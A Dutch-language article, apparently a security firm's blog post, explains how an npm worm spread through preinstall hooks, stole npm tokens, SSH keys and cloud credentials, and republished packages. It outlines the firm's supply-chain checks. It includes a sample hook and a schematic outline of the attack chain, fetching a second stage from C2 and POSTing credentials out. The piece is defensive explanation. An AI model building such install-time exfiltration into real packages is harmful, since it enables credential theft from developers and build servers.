Toegang aanvragen
Artikelen

De worm in je dependencies

Een zelfverspreidende worm reed mee op npm-installatiehooks tot in honderden packages. Je build draaide hun code voor die van jou. Dit is wat we controleren.

3 min lezen

Het meeste van de code in je webapp is niet van jou. Een moderne build trekt honderden packages binnen, en elk ervan draait op je machine en je buildserver zodra je hem installeert. Daar richten aanvallers zich op, en het is precies wat een scanner op je draaiende site nooit ziet.

Een worm genaamd ChainDrop verspreidde zich door het npm-register. Hij wachtte niet tot hij werd geïmporteerd. Hij draaide vanuit de installatiehook van een package, het kleine script dat npm automatisch uitvoert tijdens de install, voordat er ook maar één regel van je eigen code draait.

{
  "name": "some-popular-helper",
  "version": "4.2.1",
  "scripts": {
    "preinstall": "node setup.mjs"
  }
}

Die ene regel is alles wat een aanvaller nodig heeft. npm install draaien was genoeg. Het installatiescript haalde een tweede fase op en ging vervolgens op zoek naar alles wat de moeite waard was: npm-tokens, SSH-sleutels, omgevingsvariabelen, cloud-credentials, de secrets in je CI. Met een gestolen npm-token herpubliceerde het de andere packages van de maintainer met dezelfde hook en een opgehoogd versienummer, en zo groeide één besmetting uit tot honderden.

Waarom de draaiende site het niet toont

Een scanner die je productie-URL's afloopt kijkt naar de uitvoer. Deze aanval zit stroomopwaarts daarvan, in alles wat je build vertrouwde. De kwaadaardige versie kan een deploy-sleutel en een database-URL stelen zonder ooit een pagina te wijzigen die een scanner zou laden. Tegen de tijd dat er iets op de site verschijnt, zijn de credentials al weg.

Dus verschuift de test naar waar het risico zit. We lezen de dependency-tree, niet het korte lijstje dat je koos maar alles wat daaronder wordt binnengehaald, en we kijken wat elk pakket mag doen tijdens de installatie. Een package dat een preinstall- of postinstall-script opgeeft lezen we, want dat script draait met jouw rechten en zonder sandbox.

Wat we werkelijk controleren

We controleren dat de lockfile exacte versies en integriteitshashes vastzet, zodat een package tussen installaties niet vervangen kan worden door een herverpakte. We controleren welke dependencies lifecycle-scripts draaien en of ze dat nodig hebben. We kijken wat de build over het netwerk kan bereiken, want een package dat tijdens de install naar buiten belt is hoe een gestolen token het pand verlaat. En we controleren de herkomst van de kritieke packages: wie ze mag publiceren, en of publiceren beschermd is door meer dan een hergebruikt wachtwoord.

# the tell: an install that opens the network
preinstall -> node setup.mjs
  -> fetch(C2)          # pull stage two
  -> read ~/.npmrc      # npm token
  -> read env, ~/.ssh   # cloud creds, keys
  -> POST exfil         # gzip + AES, out

Niets daarvan is zichtbaar vanaf de voordeur. Het is zichtbaar vanuit de build, en daarom testen we de build.

De aanvaller brak niet in bij je app. Je app installeerde hem.

Je kunt niet elke transitieve dependency met de hand controleren, en dat zou ook niet moeten hoeven. Wat je wel kunt: weten welke ervan code draaien bij de install, ze vastgepind houden, en de netwerkpaden afsnijden die van een slecht pakket een gestolen credential maken. Wij brengen dat in kaart voor jouw project en vertellen je waar een npm install meer vertrouwt dan zou mogen.